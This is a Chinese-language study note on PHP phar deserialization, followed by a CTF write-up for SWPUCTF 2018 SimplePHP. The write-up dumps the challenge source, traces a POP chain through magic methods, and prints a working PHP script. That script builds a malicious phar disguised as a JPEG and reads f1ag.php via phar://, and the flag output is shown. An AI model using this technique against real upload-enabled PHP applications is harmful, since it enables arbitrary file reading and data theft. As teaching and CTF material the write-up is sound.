phar反序列化学习

phar反序列化

什么是phar文件

phar文件本质上是一种压缩文件，会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时，会自动反序列化meta-data内的内容。

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本，那么Phar后缀文件是默认开启支持的，你不需要任何其他的安装就可以使用它。

在软件中，PHAR（PHP归档）文件是一种打包格式，通过将许多PHP代码文件和其他资源（例如图像，样式表等）捆绑到一个归档文件中来实现应用程序和库的分发
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数，如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。

phar介绍

phar结构

phar结构由四方面组成

• stub phar 文件标识，格式为 xxx；
• manifest 压缩文件的属性等信息，以序列化存储；
• contents 压缩文件的内容；
• signature 签名，放在文件末尾；

这里有两个关键点，一是文件标识，必须以__HALT_COMPILER();?>结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制；二是反序列化，phar存储的meta-data信息以序列化方式存储，当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化，而这样的文件操作函数有很多。

生成phar文件

    class Test {
    }

    @unlink("phar.phar");           //@用来屏蔽输出
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub(""); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

漏洞利用条件

1. phar文件要能够上传到服务器端。
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤。

可利用的函数

seebug指出了所有文件函数均可使用
更多可利用函数

[SWPUCTF 2018]SimplePHP

看到查看文件

/file.php?file=

应该是文件包含 所以我们试试能不能直接把文件读出来。。。幸福的有点过分了？
连filter都不要用。。。
打算读日志但是没成功
是个套娃 把源码全爆出来

file.php

 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "
There is no file to show!
"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

class.php

class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

fuction.php

 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo ''; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "
请选择上传的文件:" . "
"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo ''; 
            return false; 
        } 
    } 
} 
?> 

base.php

 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

开始分析源码

理一下思路：
我们最终的目的是读 f1ag.php 文件
而在show类中 会有过滤

if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source))

思路1：
如果我们能 写/上传 个shell进去 再读文件就ok了 这就涉及到上传的绕过
思路2：
Test类中有 file_get_contents() 方法 是否能调用？利用反序列化

读了一会代码后发现上传的文件被强制.jpg 所以 .htaccess 之类的文件就上传不了了
那么转向第二种
利用反序列化

构造pop链

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

Test类

最后肯定调用的是 file_get_contents() 方法
逆向分析？
我们想要控制file_get_contents() 中的 $value
要找到 get 函数 控制其中的 $key
而 $key 的值来源于params 在 __get中调用了 get函数
所以我们要给 $params[$key] 赋值 f1ag.php 然后触发 __get方法
触发 __get 方法的条件是 从不可访问的属性读取数据
只有show类负责读取数据 接下来应该分析show类

Show类

需要从外部访问一个Test类没有或不可访问的属性
而 show类中 的 __tostring() 方法可以访问一个对象的 source 属性 而Test类中并没有 source属性
__toString() 把类当作字符串使用时触发
现在我们要考虑的是如何把类当作字符串使用？

C1e4r类

发现在对象销毁的时候 有

  public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }

如果test是个类的话就可以实现

class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";//目标文件
$a->str = $b;   //触发__tostring
$b->str['str'] = $c;  //触发__get;


$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.jpg", "test"); //生成签名
$phar->stopBuffering();

然后访问 ?file=phar:// 文件就可以了

运行时会遇到一点小问题。。。

Uncaught UnexpectedValueException: creating archive "phar.phar" disabled by the php.ini setting phar.readonly

然后我加上了

ini_set("phar.readonly","Off");

发现还是报错。。。
后来了解到 不是所有的 ini 都可以用 ini_set 来改。。。
访问upload可得到文件名

访问得到一串base64

file.php?file=phar://upload/c8530e61408f8b43dc63ce78388c24f3.jpg

PD9waHAgDQoJLy8kYSA9ICdmbGFnezhjMjc0YjVmLWI2YmUtNDI2My1hZGI0LTljYTQzNzUwZTAyOH0nOw0KID8+DQoNCg==

解码后得到flag